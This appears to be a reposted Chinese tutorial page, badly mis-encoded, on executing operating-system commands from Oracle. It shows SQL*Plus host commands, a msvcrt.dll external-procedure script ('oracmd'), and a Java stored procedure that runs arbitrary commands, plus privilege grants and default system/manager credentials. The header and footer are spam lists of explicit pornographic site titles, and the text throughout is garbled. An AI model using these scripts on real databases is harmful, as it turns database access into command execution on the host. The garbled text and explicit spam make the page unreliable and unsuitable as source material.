麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁(yè) > 數(shù)據(jù)庫(kù) > Oracle > 正文

oracle執(zhí)行cmd的實(shí)現(xiàn)方法

2024-08-29 13:56:41
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
不過(guò)有一個(gè)簡(jiǎn)單的執(zhí)行cmd命令方法:
SQL> host net user
User accounts for //PC-ATQHJ4UG1SDA
----------------------------------------------------------------------------
__vmware_user__ admin Administrator
ASPNET Guest IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0
The command completed successfully.
unix或linux下用
! command
======================補(bǔ)充======================
網(wǎng)上的另兩種方法:
1是利用msvcrt.dll
寫一個(gè)c:/orac.sql
內(nèi)容:
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to [email protected]
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:/windows/system32/msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
然后C:/>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl (分別是用戶名密碼和sid)
Connected.
SQL> @c:/orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:/oracle.txt');
結(jié)果在我本機(jī)出現(xiàn)
第 1 行出現(xiàn)錯(cuò)誤:
ORA-28595: Extproc 代理: DLL 路徑無(wú)效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1
沒(méi)有成功。
第二種方法
c:/1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
c:/2.sql
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
c:/3.sql
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
登陸上去后依舊是依次執(zhí)行
SQL> @c:/1.sql
/
@c:/2.sql
/
@c:/3.sql
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;(網(wǎng)上的方法沒(méi)有這一行,我無(wú)法成功,加上去可以)
exec :x:=run_cmz('ipconfig'); 成功運(yùn)行了命令
測(cè)試環(huán)境win2003+oracle11g
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 九九热免费精品 | 国产精品久久久乱弄 | 国产精品午夜一区 | 日韩一级成人 | 久久亚洲精品国产一区 | 91久久久久久久久久久久久 | 成人激情视频网站 | 精品国产91久久久久久久妲己 | 99riav国产在线观看 | 国产在线精品一区二区三区 | 12av毛片| 看一级毛片 | 精品亚洲一 | 欧美日韩亚洲国产精品 | 亚洲精品动漫在线观看 | 私库av在线免费观看 | 一级毛片免费高清 | 欧美性生活久久久 | 成人免费在线网 | 国产成人高潮免费观看精品 | 欧美一区在线观看视频 | 成人羞羞视频在线观看免费 | 久久伊人精品视频 | 国产成人强伦免费视频网站 | 国产精品一区二区羞羞答答 | 毛片三区 | 国产一区二区三区四区在线 | 一级黄色片武则天 | 中文字幕视频在线播放 | 99精品国产小情侣高潮露脸在线 | 三级国产三级在线 | 国产精品视频一区二区三区四 | 午夜在线视频一区二区三区 | 在线观看免费毛片视频 | 久久免费视频8 | 久久综合九色综合久久久精品综合 | 国产一区亚洲 | 久久久三区 | jizzjizz中国人少妇中文 | 色婷婷a v| 国产成人高清成人av片在线看 |